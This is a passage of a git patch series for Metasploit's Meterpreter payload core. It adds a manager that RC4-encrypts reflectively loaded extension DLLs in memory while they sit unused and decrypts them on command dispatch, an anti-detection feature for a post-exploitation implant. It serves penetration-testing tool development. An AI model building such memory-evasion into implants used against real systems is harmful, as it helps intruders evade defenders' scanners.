ExtensionEncryptionStatus* status = extension_statuses[i]; + if (status != NULL && status->bEncryptable && !status->bEncrypted) { + if (current_time - status->dwLastUsedTime > ENCRYPTION_UNUSED_COOLDOWN_MS) { + g_ExtensionEncryptionManager->encrypt(status); + } } } + LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); } \ No newline at end of file diff --git a/c/meterpreter/source/metsrv/extension_encryption.h b/c/meterpreter/source/metsrv/extension_encryption.h index 14870a8ce..d4cbca48b 100644 --- a/c/meterpreter/source/metsrv/extension_encryption.h +++ b/c/meterpreter/source/metsrv/extension_encryption.h @@ -1,19 +1,64 @@ +#include +#include #include "rc4.h" #include "common.h" -#define MAX_EXTENSIONS 32 // ?? +#define MAX_EXTENSIONS 32 +#define KEY_SIZE_RC4 16 +#define BUFFER_SIZE 4096 +#define ENCRYPTION_5_MINUTES_MS (5 * 60 * 1000) +#define ENCRYPTION_10_MINUTES_MS (10 * 60 * 1000) +#define ENCRYPTION_30_MINUTES_MS (30 * 60 * 1000) +#define ENCRYPTION_1_HOUR_MS (60 * 60 * 1000) + + +#define ENCRYPTION_UNUSED_COOLDOWN_MS ENCRYPTION_5_MINUTES_MS + +typedef enum { + CRYPTOGRAPHIC_MANAGER_TYPE_DEBUG, + CRYPTOGRAPHIC_MANAGER_TYPE_RC4, +} CryptographicManagerType; + +typedef struct { + BOOL bEncryptable; + BOOL bEncrypted; + LPVOID lpLoc; + DWORD dwSize; + DWORD dwLastUsedTime; +} ExtensionEncryptionStatus; typedef struct { - BOOL encryptable; - BOOL encrypted; - LPCSTR key; - LPVOID loc; - DWORD size; - DWORD LastUsedTime; -} extension_encryption_ctx; - -BOOL extension_encryption_add(extension_encryption_ctx* ExtensionCtx); -BOOL extension_encryption_remove(extension_encryption_ctx* ExtensionCtx); -BOOL extension_encryption_encrypt(extension_encryption_ctx* ExtensionCtx); -BOOL extension_encryption_decrypt(extension_encryption_ctx* ExtensionCtx); + BOOL bInitialized; + LPVOID lpCryptoContext; + LPCSTR lpCryptoParams; + BOOL bNeedsRefresh; + DWORD (*initialize)(LPVOID* lpCryptoContext, LPVOID lpParams); + DWORD (*encrypt)(LPVOID lpDataIn, DWORD dwDataInSize, LPVOID lpDataOut, DWORD dwDataOutSize); + DWORD (*decrypt)(LPVOID lpDataIn, DWORD dwDataInSize, LPVOID lpDataOut, DWORD dwDataOutSize); + DWORD (*refresh)(LPVOID lpCryptoContext, LPVOID lpParams); +} CryptographicManager; + +typedef struct { + CRITICAL_SECTION cs; + ExtensionEncryptionStatus* extensionStatuses[MAX_EXTENSIONS]; + DWORD dwExtensionsCount; + CryptographicManager cryptoManager; + struct { + BOOL (*add)(LPVOID lpExtensionLocation, DWORD dwExtensionSize); + BOOL (*get)(LPVOID lpHandlerFunction, ExtensionEncryptionStatus** lpOutExtensionStatus); + BOOL (*remove)(ExtensionEncryptionStatus* lpStatus); + BOOL (*encrypt)(ExtensionEncryptionStatus* lpStatus); + BOOL (*decrypt)(ExtensionEncryptionStatus* lpStatus); + void (*encryptUnused)(VOID); + }; +} ExtensionEncryptionManager; + +ExtensionEncryptionManager *GetExtensionEncryptionManager(VOID); +ExtensionEncryptionManager *InitExtensionEncryptionManager(CryptographicManagerType type, LPVOID lpCryptoParams); +BOOL extension_encryption_add(LPVOID lpExtensionLocation, DWORD dwExtensionSize); +BOOL extension_encryption_get(LPVOID lpHandlerFunction, ExtensionEncryptionStatus** lpOutExtensionStatus); +BOOL extension_encryption_remove(ExtensionEncryptionStatus* lpStatus); + +BOOL extension_encryption_encrypt(ExtensionEncryptionStatus* lpStatus); +BOOL extension_encryption_decrypt(ExtensionEncryptionStatus* lpStatus); void extension_encryption_encrypt_unused(); \ No newline at end of file diff --git a/c/meterpreter/source/metsrv/remote_dispatch.c b/c/meterpreter/source/metsrv/remote_dispatch.c index 30d8b2f72..2bf5a996a 100644 --- a/c/meterpreter/source/metsrv/remote_dispatch.c +++ b/c/meterpreter/source/metsrv/remote_dispatch.c @@ -2,6 +2,7 @@ #include "common_metapi.h" #include "common_exports.h" #include "server_pivot.h" +#include "extension_encryption.h" #define GetProcAddressByOrdinal(mod, ord) GetProcAddress(mod, MAKEINTRESOURCEA(ord)) #define GetProcAddressByOrdinalR(mod, ord) GetProcAddressR(mod, MAKEINTRESOURCEA(ord)) @@ -334,6 +335,10 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet) PCHAR libraryPath; DWORD flags = 0; BOOL bLibLoadedReflectivly = FALSE; + + LPVOID lpLibraryLocation = NULL; + DWORD dwLibrarySize = 0; + dprintf("[LOADLIB] here 1"); Command *first = extensionCommands; @@ -390,6 +395,8 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet) else { bLibLoadedReflectivly = TRUE; + lpLibraryLocation = dataTlv.buffer; + dwLibrarySize = dataTlv.header.length; } dprintf("[LOADLIB] here 9"); @@ -423,8 +430,11 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet) if ((flags & LOAD_LIBRARY_FLAG_EXTENSION) && library) { res = load_extension(library, bLibLoadedReflectivly, remote, response, first); - if (flags & LOAD_LIBRARY_EXTENSION_ENCRYPTABLE) { - dprintf("[DEBUG] This extension can be encrypted!"); + if (flags & LOAD_LIBRARY_EXTENSION_ENCRYPTABLE && bLibLoadedReflectivly) { + ExtensionEncryptionManager* encryptionManager = GetExtensionEncryptionManager(); + if(encryptionManager) { + encryptionManager->add(lpLibraryLocation, dwLibrarySize); + } } } From b796d8b04d4b1b0f9321e5bf9c167560f613c016 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Tue, 3 Feb 2026 08:47:19 -0500 Subject: [PATCH 03/26] fix: minor fixes in extension_encryption.c --- .../source/metsrv/extension_encryption.c | 17 +++++++++++++---- .../source/metsrv/extension_encryption.h | 2 +- 2 files changed, 14 insertions(+), 5 deletions(-) diff --git a/c/meterpreter/source/metsrv/extension_encryption.c b/c/meterpreter/source/metsrv/extension_encryption.c index c104979e4..a7687e158 100644 --- a/c/meterpreter/source/metsrv/extension_encryption.c +++ b/c/meterpreter/source/metsrv/extension_encryption.c @@ -37,7 +37,7 @@ DWORD cryptographic_manager_rc4_initialize(LPVOID* lpCryptoContext, LPVOID lpPar } RC4_CTX* ctx = (RC4_CTX*)(*lpCryptoContext); - InitRc4(ctx, (LPSTR)lpParams, strlen((LPSTR)lpParams)); + InitRc4(ctx, (unsigned char *)lpParams, KEY_SIZE_RC4); return 0; } @@ -47,7 +47,8 @@ DWORD cryptographic_manager_rc4_refresh(LPVOID lpCryptoContext, LPVOID lpParams) dprintf("[cryptographic_manager_rc4_refresh] lpCryptoContext is NULL."); return ERROR_INVALID_PARAMETER; } - InitRc4(ctx, (LPSTR)lpParams, strlen((LPSTR)lpParams)); + InitRc4(ctx, (unsigned char *)lpParams, KEY_SIZE_RC4); + dprintf("[cryptographic_manager_rc4] Refreshed RC4 Cryptographic Manager."); return 0; } @@ -93,6 +94,7 @@ BOOL cryptographic_manager_rc4(CryptographicManager* manager, LPVOID lpParams) { dprintf("[cryptographic_manager_rc4] Invalid parameters."); return FALSE; } + dprintf("[cryptographic_manager_rc4] Initializing RC4 Cryptographic Manager."); manager->bInitialized = TRUE; manager->bNeedsRefresh = TRUE; manager->initialize = cryptographic_manager_rc4_initialize; @@ -203,7 +205,13 @@ BOOL extension_encryption_add(LPVOID lpExtensionLocation, DWORD dwExtensionSize) lpExtensionStatus->lpLoc = lpExtensionLocation; lpExtensionStatus->dwSize = dwExtensionSize; lpExtensionStatus->dwLastUsedTime = GetTickCount(); + dprintf("[extension_encryption][extension_encryption_add] lpExtensionStatus->bEncryptable: %d", lpExtensionStatus->bEncryptable); + dprintf("[extension_encryption][extension_encryption_add] lpExtensionStatus->bEncrypted: %d", lpExtensionStatus->bEncrypted); + dprintf("[extension_encryption][extension_encryption_add] lpExtensionStatus->lpLoc: %p", lpExtensionStatus->lpLoc); + dprintf("[extension_encryption][extension_encryption_add] lpExtensionStatus->dwSize: %u", lpExtensionStatus->dwSize); + dprintf("[extension_encryption][extension_encryption_add] lpExtensionStatus->dwLastUsedTime: %u", lpExtensionStatus->dwLastUsedTime); g_ExtensionEncryptionManager->extensionStatuses[g_ExtensionEncryptionManager->dwExtensionsCount - 1] = lpExtensionStatus; + dprintf("[extension_encryption][extension_encryption_add] Added extension at %p of size %u", lpExtensionLocation, dwExtensionSize); ret = TRUE; LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); return ret; @@ -313,6 +321,7 @@ BOOL extension_encryption_encrypt(ExtensionEncryptionStatus* lpExtensionStatus) } lpExtensionStatus->dwLastUsedTime = GetTickCount(); + lpExtensionStatus->bEncrypted = TRUE; LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); return ret; } @@ -356,12 +365,11 @@ BOOL extension_encryption_decrypt(ExtensionEncryptionStatus* lpExtensionStatus) if( g_ExtensionEncryptionManager->cryptoManager.bNeedsRefresh ) { if (g_ExtensionEncryptionManager->cryptoManager.refresh != NULL) { - if (g_ExtensionEncryptionManager->cryptoManager.refresh(g_ExtensionEncryptionManager->cryptoManager.lpCryptoContext, g_ExtensionEncryptionManager->cryptoManager.lpCryptoParams) != 0) { + if (g_ExtensionEncryptionManager->cryptoManager.refresh(g_ExtensionEncryptionManager->cryptoManager.lpCryptoContext, (LPVOID) g_ExtensionEncryptionManager->cryptoManager.lpCryptoParams) != 0) { dprintf("[extension_encryption][extension_encryption_decrypt] CryptographicManager refresh failed."); LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); return FALSE; } - g_ExtensionEncryptionManager->cryptoManager.bNeedsRefresh = FALSE; } } @@ -387,6 +395,7 @@ BOOL extension_encryption_decrypt(ExtensionEncryptionStatus* lpExtensionStatus) } lpExtensionStatus->dwLastUsedTime = GetTickCount(); + lpExtensionStatus->bEncrypted = FALSE; LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); return ret; } diff --git a/c/meterpreter/source/metsrv/extension_encryption.h b/c/meterpreter/source/metsrv/extension_encryption.h index d4cbca48b..e204bcf6e 100644 --- a/c/meterpreter/source/metsrv/extension_encryption.h +++ b/c/meterpreter/source/metsrv/extension_encryption.h @@ -49,7 +49,7 @@ typedef struct { BOOL (*remove)(ExtensionEncryptionStatus* lpStatus); BOOL (*encrypt)(ExtensionEncryptionStatus* lpStatus); BOOL (*decrypt)(ExtensionEncryptionStatus* lpStatus); - void (*encryptUnused)(VOID); + void (*encryptUnused)(); }; } ExtensionEncryptionManager; From f7a0384e8e6eb1c4d8798256db5bcc9e21a7ca8b Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Tue, 3 Feb 2026 09:02:09 -0500 Subject: [PATCH 04/26] feat: integrate Extension Encryption Manager into server setup --- c/meterpreter/source/metsrv/server_setup.c | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/c/meterpreter/source/metsrv/server_setup.c b/c/meterpreter/source/metsrv/server_setup.c index db73ab4d3..a3ffdbc10 100644 --- a/c/meterpreter/source/metsrv/server_setup.c +++ b/c/meterpreter/source/metsrv/server_setup.c @@ -9,6 +9,7 @@ #include "server_transport_tcp.h" #include "server_transport_named_pipe.h" #include "packet_encryption.h" +#include "extension_encryption.h" extern Command* extensionCommands; @@ -73,6 +74,10 @@ LPBYTE load_stageless_extensions(Remote* remote, MetsrvExtension* stagelessExten dprintf("[SERVER] Extension located at 0x%p: %u bytes", stagelessExtensions->dll, stagelessExtensions->size); HMODULE hLibrary = LoadLibraryR(stagelessExtensions->dll, stagelessExtensions->size, MAKEINTRESOURCEA(EXPORT_REFLECTIVELOADER)); load_extension(hLibrary, TRUE, remote, NULL, extensionCommands); + // ExtensionEncryptionManager* encryptionManager = GetExtensionEncryptionManager(); + // if(encryptionManager != NULL) { + // encryptionManager->add(stagelessExtensions->dll, stagelessExtensions->size); + // } stagelessExtensions = (MetsrvExtension*)((LPBYTE)stagelessExtensions->dll + stagelessExtensions->size); } @@ -393,6 +398,16 @@ DWORD server_setup(MetsrvConfig* config) dprintf("[SERVER] Registering dispatch routines..."); register_dispatch_routines(); + + ExtensionEncryptionManager* encryptionManager = GetExtensionEncryptionManager(); + if(encryptionManager != NULL) { + dprintf("[SERVER] Initializing Extension Encryption Manager and loading stageless extensions..."); + encryptionManager = InitExtensionEncryptionManager(CRYPTOGRAPHIC_MANAGER_TYPE_DEBUG, NULL); + } + + if(encryptionManager == NULL) { + dprintf("[SERVER] Extension Encryption Manager Initialization failed! proceeding without extension encryption."); + } // this has to be done after dispatch routine are registered LPBYTE configEnd = load_stageless_extensions(remote, (MetsrvExtension*)((LPBYTE)config->transports + transportSize)); From e772f2e4c640a04b301b039cefc3d99d6be0fc0e Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Tue, 3 Feb 2026 09:23:15 -0500 Subject: [PATCH 05/26] fix: streamline Extension Encryption Manager initialization in server setup --- c/meterpreter/source/metsrv/server_setup.c | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) diff --git a/c/meterpreter/source/metsrv/server_setup.c b/c/meterpreter/source/metsrv/server_setup.c index a3ffdbc10..0cd646471 100644 --- a/c/meterpreter/source/metsrv/server_setup.c +++ b/c/meterpreter/source/metsrv/server_setup.c @@ -399,16 +399,11 @@ DWORD server_setup(MetsrvConfig* config) dprintf("[SERVER] Registering dispatch routines..."); register_dispatch_routines(); - ExtensionEncryptionManager* encryptionManager = GetExtensionEncryptionManager(); - if(encryptionManager != NULL) { - dprintf("[SERVER] Initializing Extension Encryption Manager and loading stageless extensions..."); - encryptionManager = InitExtensionEncryptionManager(CRYPTOGRAPHIC_MANAGER_TYPE_DEBUG, NULL); - } - + ExtensionEncryptionManager* encryptionManager = InitExtensionEncryptionManager(CRYPTOGRAPHIC_MANAGER_TYPE_DEBUG, NULL); if(encryptionManager == NULL) { dprintf("[SERVER] Extension Encryption Manager Initialization failed! proceeding without extension encryption."); } - + // this has to be done after dispatch routine are registered LPBYTE configEnd = load_stageless_extensions(remote, (MetsrvExtension*)((LPBYTE)config->transports + transportSize)); From a2b09b157fc6eb6f1038a5612e3ea6e62ff40573 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Tue, 3 Feb 2026 09:24:42 -0500 Subject: [PATCH 06/26] fix: correct indentation for extension encryption includes in project files --- c/meterpreter/workspace/metsrv/metsrv.vcxproj | 4 ++-- c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/c/meterpreter/workspace/metsrv/metsrv.vcxproj b/c/meterpreter/workspace/metsrv/metsrv.vcxproj index 98c5a920c..eb13eabae 100644 --- a/c/meterpreter/workspace/metsrv/metsrv.vcxproj +++ b/c/meterpreter/workspace/metsrv/metsrv.vcxproj @@ -571,7 +571,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - + @@ -604,7 +604,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - + diff --git a/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters b/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters index e3a7876c4..af98b55a4 100644 --- a/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters +++ b/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters @@ -29,7 +29,7 @@ - + @@ -62,7 +62,7 @@ - + From 24288ca09654672081a9b6c5537be642f46f6c01 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Tue, 3 Feb 2026 10:26:44 -0500 Subject: [PATCH 07/26] fix: update extension count handling in extension encryption manager --- c/meterpreter/source/metsrv/extension_encryption.c | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/c/meterpreter/source/metsrv/extension_encryption.c b/c/meterpreter/source/metsrv/extension_encryption.c index a7687e158..855d27be6 100644 --- a/c/meterpreter/source/metsrv/extension_encryption.c +++ b/c/meterpreter/source/metsrv/extension_encryption.c @@ -193,8 +193,6 @@ BOOL extension_encryption_add(LPVOID lpExtensionLocation, DWORD dwExtensionSize) dprintf("[extension_encryption][extension_encryption_add] Invalid parameters."); return ret; } - - g_ExtensionEncryptionManager->dwExtensionsCount++; ExtensionEncryptionStatus* lpExtensionStatus = (ExtensionEncryptionStatus*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(ExtensionEncryptionStatus)); if (lpExtensionStatus == NULL) { dprintf("[extension_encryption][extension_encryption_add] HeapAlloc failed."); @@ -211,6 +209,7 @@ BOOL extension_encryption_add(LPVOID lpExtensionLocation, DWORD dwExtensionSize) dprintf("[extension_encryption][extension_encryption_add] lpExtensionStatus->dwSize: %u", lpExtensionStatus->dwSize); dprintf("[extension_encryption][extension_encryption_add] lpExtensionStatus->dwLastUsedTime: %u", lpExtensionStatus->dwLastUsedTime); g_ExtensionEncryptionManager->extensionStatuses[g_ExtensionEncryptionManager->dwExtensionsCount - 1] = lpExtensionStatus; + g_ExtensionEncryptionManager->dwExtensionsCount++; dprintf("[extension_encryption][extension_encryption_add] Added extension at %p of size %u", lpExtensionLocation, dwExtensionSize); ret = TRUE; LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); @@ -224,7 +223,7 @@ BOOL extension_encryption_get(LPVOID lpHandlerFunction, ExtensionEncryptionStatu dprintf("[extension_encryption][extension_encryption_get] Invalid parameters."); return ret; } - for (int i = 0; i < MAX_EXTENSIONS; i++) { + for (int i = 0; i < g_ExtensionEncryptionManager->dwExtensionsCount; i++) { if (g_ExtensionEncryptionManager->extensionStatuses[i] != NULL && g_ExtensionEncryptionManager->extensionStatuses[i]->lpLoc <= lpHandlerFunction && (unsigned char*)lpHandlerFunction <(unsigned char*)g_ExtensionEncryptionManager->extensionStatuses[i]->lpLoc + g_ExtensionEncryptionManager->extensionStatuses[i]->dwSize) @@ -245,7 +244,7 @@ BOOL extension_encryption_remove(ExtensionEncryptionStatus* lpExtensionStatus) { dprintf("[extension_encryption][extension_encryption_remove] lpExtensionStatus is NULL."); return ret; } - for (int i = 0; i < MAX_EXTENSIONS; i++) { + for (int i = 0; i < g_ExtensionEncryptionManager->dwExtensionsCount; i++) { if (g_ExtensionEncryptionManager->extensionStatuses[i] == lpExtensionStatus) { g_ExtensionEncryptionManager->extensionStatuses[i] = g_ExtensionEncryptionManager->extensionStatuses[g_ExtensionEncryptionManager->dwExtensionsCount - 1]; g_ExtensionEncryptionManager->extensionStatuses[g_ExtensionEncryptionManager->dwExtensionsCount - 1] = NULL; @@ -404,9 +403,8 @@ void extension_encryption_encrypt_unused() { EnterCriticalSection(&g_ExtensionEncryptionManager->cs); ExtensionEncryptionStatus** extension_statuses = g_ExtensionEncryptionManager->extensionStatuses; - DWORD extensions_count = g_ExtensionEncryptionManager->dwExtensionsCount; DWORD current_time = GetTickCount(); - for (DWORD i = 0; i < extensions_count; i++) { + for (DWORD i = 0; i < g_ExtensionEncryptionManager->dwExtensionsCount; i++) { ExtensionEncryptionStatus* status = extension_statuses[i]; if (status != NULL && status->bEncryptable && !status->bEncrypted) { if (current_time - status->dwLastUsedTime > ENCRYPTION_UNUSED_COOLDOWN_MS) { From 094c1feadd8532408a7a02ae18dcb1c1ec787fb1 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Tue, 3 Feb 2026 10:27:04 -0500 Subject: [PATCH 08/26] feat: enhance command processing with extension decryption support --- c/meterpreter/source/metsrv/base.c | 61 +++++++++++++++++++++--------- 1 file changed, 43 insertions(+), 18 deletions(-) diff --git a/c/meterpreter/source/metsrv/base.c b/c/meterpreter/source/metsrv/base.c index 5094a09dc..8ca50db94 100644 --- a/c/meterpreter/source/metsrv/base.c +++ b/c/meterpreter/source/metsrv/base.c @@ -291,6 +291,9 @@ BOOL command_process_inline(Command *command, Remote *remote, Packet *packet) { do { + ExtensionEncryptionManager* encryptionManager = GetExtensionEncryptionManager(); + ExtensionEncryptionStatus* extStatus = NULL; + commandId = command->command_id; dprintf("[COMMAND] Executing command %u", commandId); @@ -319,12 +322,32 @@ BOOL command_process_inline(Command *command, Remote *remote, Packet *packet) case PACKET_TLV_TYPE_PLAIN_REQUEST: if (command->request.inline_handler) { dprintf("[DISPATCH] executing inline request handler %u", commandId); + if(encryptionManager != NULL && encryptionManager->get(command->request.inline_handler, &extStatus)) { + if(extStatus != NULL && extStatus->bEncrypted) { + dprintf("[COMMAND] Decrypting Extension having command %u", commandId); + if(encryptionManager->decrypt(extStatus)){ + dprintf("[COMMAND] Decryption successful for command %u", commandId); + } else { + dprintf("[COMMAND] Decryption failed for command %u", commandId); + } + } + } serverContinue = command->request.inline_handler(remote, packet, &result) && serverContinue; dprintf("[DISPATCH] executed %u, continue %s", commandId, serverContinue ? "yes" : "no"); } else { dprintf("[DISPATCH] executing request handler %u", commandId); + if(encryptionManager != NULL && encryptionManager->get(command->request.handler, &extStatus)) { + if(extStatus != NULL && extStatus->bEncrypted) { + dprintf("[COMMAND] Decrypting Extension having command %u", commandId); + if(encryptionManager->decrypt(extStatus)){ + dprintf("[COMMAND] Decryption successful for command %u", commandId); + } else { + dprintf("[COMMAND] Decryption failed for command %u", commandId); + } + } + } result = command->request.handler(remote, packet); } break; @@ -333,11 +356,31 @@ BOOL command_process_inline(Command *command, Remote *remote, Packet *packet) if (command->response.inline_handler) { dprintf("[DISPATCH] executing inline response handler %u", commandId); + if(encryptionManager != NULL && encryptionManager->get(command->response.inline_handler, &extStatus)) { + if(extStatus != NULL && extStatus->bEncrypted) { + dprintf("[COMMAND] Decrypting Extension having command %u", commandId); + if(encryptionManager->decrypt(extStatus)){ + dprintf("[COMMAND] Decryption successful for command %u", commandId); + } else { + dprintf("[COMMAND] Decryption failed for command %u", commandId); + } + } + } serverContinue = command->response.inline_handler(remote, packet, &result) && serverContinue; } else { dprintf("[DISPATCH] executing response handler %u", commandId); + if(encryptionManager != NULL && encryptionManager->get(command->response.handler, &extStatus)) { + if(extStatus != NULL && extStatus->bEncrypted) { + dprintf("[COMMAND] Decrypting Extension having command %u", commandId); + if(encryptionManager->decrypt(extStatus)){ + dprintf("[COMMAND] Decryption successful for command %u", commandId); + } else { + dprintf("[COMMAND] Decryption failed for command %u", commandId); + } + } + } result = command->response.handler(remote, packet); } break; @@ -427,7 +470,6 @@ BOOL command_handle(Remote *remote, Packet *packet) UINT commandId = packet_get_tlv_value_uint(packet, TLV_TYPE_COMMAND_ID); - ExtensionEncryptionManager* encryptionManager = GetExtensionEncryptionManager(); do { @@ -458,20 +500,6 @@ BOOL command_handle(Remote *remote, Packet *packet) } - if(command != NULL && encryptionManager != NULL) { - ExtensionEncryptionStatus* extStatus = NULL; - if(encryptionManager->get((LPVOID)command, &extStatus)) { - if(extStatus != NULL && extStatus->bEncrypted) { - dprintf("[COMMAND] Decrypting Extension having command %u", commandId); - if(encryptionManager->decrypt(extStatus)){ - dprintf("[COMMAND] Extension Decrypted!"); - } else { - dprintf("[COMMAND] Extension Decryption failed!"); - } - } - } - } - // if either command is registered as inline, run them inline if ((command && command_is_inline(command, packet)) || packet->local) @@ -491,9 +519,6 @@ BOOL command_handle(Remote *remote, Packet *packet) thread_run(cpt); } } - if(encryptionManager != NULL) { - encryptionManager->encryptUnused(); - } } while (0); From f78783530d1d3af3d11b0e6dbfac1381c956d0df Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Wed, 4 Feb 2026 05:49:23 -0500 Subject: [PATCH 09/26] feat: add get method to Extension Encryption Manager and improve error handling --- .../source/metsrv/extension_encryption.c | 258 ++++++++++-------- 1 file changed, 147 insertions(+), 111 deletions(-) diff --git a/c/meterpreter/source/metsrv/extension_encryption.c b/c/meterpreter/source/metsrv/extension_encryption.c index 855d27be6..260ca4bff 100644 --- a/c/meterpreter/source/metsrv/extension_encryption.c +++ b/c/meterpreter/source/metsrv/extension_encryption.c @@ -157,6 +157,7 @@ ExtensionEncryptionManager* InitExtensionEncryptionManager(CryptographicManagerT } InitializeCriticalSection(&g_ExtensionEncryptionManager->cs); g_ExtensionEncryptionManager->add = extension_encryption_add; + g_ExtensionEncryptionManager->get = extension_encryption_get; g_ExtensionEncryptionManager->remove = extension_encryption_remove; g_ExtensionEncryptionManager->encrypt = extension_encryption_encrypt; g_ExtensionEncryptionManager->decrypt = extension_encryption_decrypt; @@ -178,73 +179,94 @@ ExtensionEncryptionManager* InitExtensionEncryptionManager(CryptographicManagerT return NULL; } } + dprintf("[extension_encryption][extension_encryption_init_manager] Encryption Manager Initialized"); return g_ExtensionEncryptionManager; } BOOL extension_encryption_add(LPVOID lpExtensionLocation, DWORD dwExtensionSize) { - BOOL ret = FALSE; + BOOL ret = TRUE; + HANDLE hHeap = GetProcessHeap(); + ExtensionEncryptionStatus* lpExtensionStatus = NULL; + EnterCriticalSection(&g_ExtensionEncryptionManager->cs); + + dprintf("[extension_encryption][extension_encryption_add] Adding extension"); if (g_ExtensionEncryptionManager->dwExtensionsCount >= MAX_EXTENSIONS) { dprintf("[extension_encryption][extension_encryption_add] Maximum number of extensions reached."); - return ret; + ret = FALSE; } if (lpExtensionLocation == NULL || dwExtensionSize == 0) { dprintf("[extension_encryption][extension_encryption_add] Invalid parameters."); - return ret; + ret = FALSE; } - ExtensionEncryptionStatus* lpExtensionStatus = (ExtensionEncryptionStatus*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(ExtensionEncryptionStatus)); - if (lpExtensionStatus == NULL) { - dprintf("[extension_encryption][extension_encryption_add] HeapAlloc failed."); - return ret; + + if (ret) { + lpExtensionStatus = (ExtensionEncryptionStatus*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(ExtensionEncryptionStatus)); + if (lpExtensionStatus == NULL) { + dprintf("[extension_encryption][extension_encryption_add] HeapAlloc failed."); + ret = FALSE; + } } - lpExtensionStatus->bEncryptable = TRUE; - lpExtensionStatus->bEncrypted = FALSE; - lpExtensionStatus->lpLoc = lpExtensionLocation; - lpExtensionStatus->dwSize = dwExtensionSize; - lpExtensionStatus->dwLastUsedTime = GetTickCount(); - dprintf("[extension_encryption][extension_encryption_add] lpExtensionStatus->bEncryptable: %d", lpExtensionStatus->bEncryptable); - dprintf("[extension_encryption][extension_encryption_add] lpExtensionStatus->bEncrypted: %d", lpExtensionStatus->bEncrypted); - dprintf("[extension_encryption][extension_encryption_add] lpExtensionStatus->lpLoc: %p", lpExtensionStatus->lpLoc); - dprintf("[extension_encryption][extension_encryption_add] lpExtensionStatus->dwSize: %u", lpExtensionStatus->dwSize); - dprintf("[extension_encryption][extension_encryption_add] lpExtensionStatus->dwLastUsedTime: %u", lpExtensionStatus->dwLastUsedTime); - g_ExtensionEncryptionManager->extensionStatuses[g_ExtensionEncryptionManager->dwExtensionsCount - 1] = lpExtensionStatus; - g_ExtensionEncryptionManager->dwExtensionsCount++; - dprintf("[extension_encryption][extension_encryption_add] Added extension at %p of size %u", lpExtensionLocation, dwExtensionSize); - ret = TRUE; + if (ret) { + lpExtensionStatus->bEncryptable = TRUE; + lpExtensionStatus->bEncrypted = FALSE; + lpExtensionStatus->lpLoc = lpExtensionLocation; + lpExtensionStatus->dwSize = dwExtensionSize; + lpExtensionStatus->dwLastUsedTime = GetTickCount(); + dprintf("[extension_encryption][extension_encryption_add] lpExtensionStatus->bEncryptable: %d", lpExtensionStatus->bEncryptable); + dprintf("[extension_encryption][extension_encryption_add] lpExtensionStatus->bEncrypted: %d", lpExtensionStatus->bEncrypted); + dprintf("[extension_encryption][extension_encryption_add] lpExtensionStatus->lpLoc: %p", lpExtensionStatus->lpLoc); + dprintf("[extension_encryption][extension_encryption_add] lpExtensionStatus->dwSize: %u", lpExtensionStatus->dwSize); + dprintf("[extension_encryption][extension_encryption_add] lpExtensionStatus->dwLastUsedTime: %u", lpExtensionStatus->dwLastUsedTime); + g_ExtensionEncryptionManager->extensionStatuses[g_ExtensionEncryptionManager->dwExtensionsCount - 1] = lpExtensionStatus; + g_ExtensionEncryptionManager->dwExtensionsCount++; + dprintf("[extension_encryption][extension_encryption_add] Added extension at %p of size %u", lpExtensionLocation, dwExtensionSize); + } + dprintf("[extension_encryption][extension_encryption_add] Funtion exiting"); LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); return ret; } BOOL extension_encryption_get(LPVOID lpHandlerFunction, ExtensionEncryptionStatus** lpOutExtensionStatus) { - BOOL ret = FALSE; + BOOL ret = TRUE; EnterCriticalSection(&g_ExtensionEncryptionManager->cs); + dprintf("[extension_encryption][extension_encryption_get] Getting extension."); if (lpHandlerFunction == NULL || lpOutExtensionStatus == NULL) { dprintf("[extension_encryption][extension_encryption_get] Invalid parameters."); - return ret; - } - for (int i = 0; i < g_ExtensionEncryptionManager->dwExtensionsCount; i++) { - if (g_ExtensionEncryptionManager->extensionStatuses[i] != NULL - && g_ExtensionEncryptionManager->extensionStatuses[i]->lpLoc <= lpHandlerFunction - && (unsigned char*)lpHandlerFunction <(unsigned char*)g_ExtensionEncryptionManager->extensionStatuses[i]->lpLoc + g_ExtensionEncryptionManager->extensionStatuses[i]->dwSize) + ret = FALSE; + } + if (g_ExtensionEncryptionManager->dwExtensionsCount == 0) { + dprintf("[extension_encryption][extension_encryption_get] No extension present."); + ret = FALSE; + } + if (ret) { + ret = FALSE; + for (DWORD i = 0; i < g_ExtensionEncryptionManager->dwExtensionsCount; i++) { + if (g_ExtensionEncryptionManager->extensionStatuses[i] != NULL + && g_ExtensionEncryptionManager->extensionStatuses[i]->lpLoc <= lpHandlerFunction + && (unsigned char*)lpHandlerFunction < (unsigned char*)g_ExtensionEncryptionManager->extensionStatuses[i]->lpLoc + g_ExtensionEncryptionManager->extensionStatuses[i]->dwSize) { *lpOutExtensionStatus = g_ExtensionEncryptionManager->extensionStatuses[i]; ret = TRUE; break; 